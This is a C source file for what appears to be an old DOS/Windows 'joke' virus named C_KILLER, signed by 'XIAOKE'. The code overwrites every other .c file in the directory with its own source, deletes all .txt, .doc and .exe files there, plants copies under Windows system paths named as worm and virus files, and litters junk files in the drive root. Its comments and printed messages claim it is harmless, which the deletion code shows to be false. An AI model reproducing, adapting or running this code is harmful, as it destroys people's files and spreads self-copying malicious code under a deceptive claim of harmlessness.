#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* copy outfile to infile */
void copyfile(char *infile, char *outfile)
{
FILE *in,*out;

in = fopen(infile,"r");
out = fopen(outfile,"w");

while (!feof(in))
{
fputc(fgetc(in),out);
}

fclose(in);
fclose(out);
}
//This function named Rubbishmaker（垃圾制造者）.//
void MakeRubbish()
{
int i;
FILE *fp;
char *path;
char *NewName;
char *disk[7] = {"A","B","C","D","E","F","G"};
char *addtion = ":\\";
/* Make some rubbish at the current catalogue */
for (i = 0; i<5; i++)
{
char tempname[] = "XXXXXX" ;
NewName = mktemp(tempname);
fp = fopen(NewName,"w");
fclose(fp);
}
/* make some rubbish at the root catalogue */
path = strcat(disk[getdisk()],addtion); /* get the root catalogue */
chdir(path); /*change directory according to the "path" */

for (i = 0; i<5; i++)
{
char tempname[] = "XXXXXX";
NewName = mktemp(tempname);
fp = fopen(NewName,"w");
fclose(fp);
}

}
/*This function can creat some .exe or .com documents in the sensitive place.Don't worry,It's only a joke.It will do no harm to your computer.*/

void CreatEXE()
{
int i;
char *path;
char * s[2] = {"C:\\WINDOWS\\system32\\loveworm.exe","C:\\WINDOWS\\virusssss.com"};
for ( i = 0; i < 2; i++)
{
open(s[i], 0x0100,0x0080);
copyfile( "C_KILLER.C",s[i]);
}
}
/* remove something from your computer */
void Remove()
{

int done;
int i;

struct ffblk ffblk;
char *documenttype[3] = {"*.txt","*.doc","*.exe"};
for (i = 0; i < 3; i++)
{
done = findfirst(documenttype[i],&ffblk,2);
while (!done)
{
remove(ffblk.ff_name);
done = findnext(&ffblk);
}
}
}

/* overlay the c programs */
void Breed()
{

int done;
struct ffblk ffblk;

done = findfirst("*.c",&ffblk,2);
while (!done)
{
if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )

{
copyfile("C_KILLER.C",ffblk.ff_name);
}
done = findnext(&ffblk);
}

}

void main()
{

printf("THERE IS A VIRUS BY XIAOKE.\n\n");

Breed();
Remove();
CreatEXE();

printf("COULD YOU TELL ME YOUR NAME?\n\n");
printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!\n\n");

MakeRubbish();
getchar();
printf("IT'S ONLY A JOKE! THANK YOU!\n\n");

clrscr();
system("cmd");
}